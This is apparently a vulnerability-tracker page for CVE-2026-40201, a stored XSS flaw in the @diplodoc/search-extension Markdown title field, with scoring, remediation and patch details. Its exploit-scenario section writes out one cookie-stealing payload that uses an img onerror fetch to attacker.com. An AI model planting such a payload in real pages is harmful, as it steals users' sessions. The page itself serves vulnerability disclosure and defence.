Skip to main content

@diplodoc/search-extension CVE-2026-40201

| EUVDEUVD-2026-26484 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-01 mitre
5.4
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to documentation system
  2. Delivery
    Create or modify .md file with XSS payload in title
  3. Exploit
    Trigger search indexing or page load
  4. Execution
    Malicious script executes in victim's browser
  5. Impact
    Steal session cookies or credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) the @diplodoc/search-extension component to be deployed and processing user-supplied Markdown files; (2) an authenticated user account with permissions to create or modify .md files in the documentation system; (3) another user must view the affected documentation page or search results that render the malicious title. The vulnerability does not execute in default empty documentation-it only manifests when a Markdown file with a crafted title is actually rendered to a user's browser. Default configurations of the platform are assumed to allow authenticated users to create/modify documentation; if title field is disabled or documentation is read-only, exploitation is not possible.

Impact

CVSS 5.4 (medium severity) with attack vector network, low complexity, and low privileges required indicates this is a practical attack requiring an authenticated user but no special system access. The user interaction requirement (UI:R) - someone must view the title to trigger the payload - reduces real-world impact slightly, but stored XSS vulnerabilities typically have high business risk because they can compromise multiple users through a single injection. The scope is changed (S:C), meaning the vulnerability can affect resources beyond the security scope of the vulnerable component. EPSS and KEV status are not provided in the input data, so exploitation prevalence in the wild cannot be assessed. The presence of a patched version (3.0.3) and a specific GitHub PR with source code evidence supports the legitimacy of the vulnerability. The narrow attack vector (authenticated users only, markdown title field) limits exposure compared to unauthenticated XSS, but the stored nature makes it a persistent threat. Real-world risk depends on whether @diplodoc/search-extension is deployed in multi-tenant environments where untrusted users can submit Markdown documentation.

Exploit ScenarioDerived

An authenticated user with permissions to create or edit Markdown documentation injects a malicious script into a .md file's title field, for example: title: <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">. When other users search the documentation or view the resulting page, the title is rendered without escaping, triggering the onerror event and exfiltrating session cookies to the attacker's server.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 01, 2026

Stored cross-site scripting (XSS) in @diplodoc/search-extension versions 1.0.0 through 3.0.2 allows authenticated users to inject malicious scripts via the title field in Markdown files, which are then executed in the browsers of other users viewing the affected documentation. The vulnerability requires user interaction (rendered content must be viewed) and affects the confidentiality and integrity of affected systems. Vendor-released patch: version 3.0.3.

RemediationAI

Upgrade @diplodoc/search-extension to version 3.0.3 or later. For organizations unable to immediately patch, implement strict input validation and output encoding on the Markdown title field: ensure all user-supplied titles are HTML-escaped before rendering (convert '<' to '&lt;', '>' to '&gt;', '"' to '&quot;', and '&' to '&amp;') and enforce a Content Security Policy (CSP) with script-src directive restricted to trusted sources only to mitigate XSS impact. Monitor documentation repositories for suspicious Markdown files with script-like content in title fields. Patch details and source code fix are documented in PR#41 at https://github.com/diplodoc-platform/search-extension/pull/41.

Affected VersionsENISA

@diplodoc/search-extension 1.0.0 <3.0.3

Affected Packages

npm @diplodoc/search-extension fix: 3.0.5
euvd diplodoc_search_extension fix: 3.0.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The @diplodoc/search-extension is a search functionality plugin for the Diplodoc documentation platform that indexes and searches Markdown-based content. The vulnerability stems from improper sanitization of user-supplied input in the title metadata field of .md files (CWE-79: Improper Neutralization of Input During Web Page Generation). When the search extension processes Markdown files, it extracts the title field and renders it without adequate HTML/JavaScript escaping, allowing attackers to embed script payloads that execute in the context of other users' browsers when search results or documentation pages containing that title are displayed. The affected CPE is cpe:2.3:a:diplodoc-platform:@diplodoc/search-extension:*:*:*:*:*:*:*:*

Know when Diplodoc Search Extension gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (mitre) · only source for this CVE.

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Patch released
May 01, 2026 - 15:37 nvd
Patch available
Patch available
May 01, 2026 - 10:01 EUVD
CVE Published
May 01, 2026 - 08:36 nvd
MEDIUM 5.4

DescriptionCVE.org

@diplodoc/search-extension 1.0.0 through 3.x before 3.0.3 allows stored XSS via the title in a .md file.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy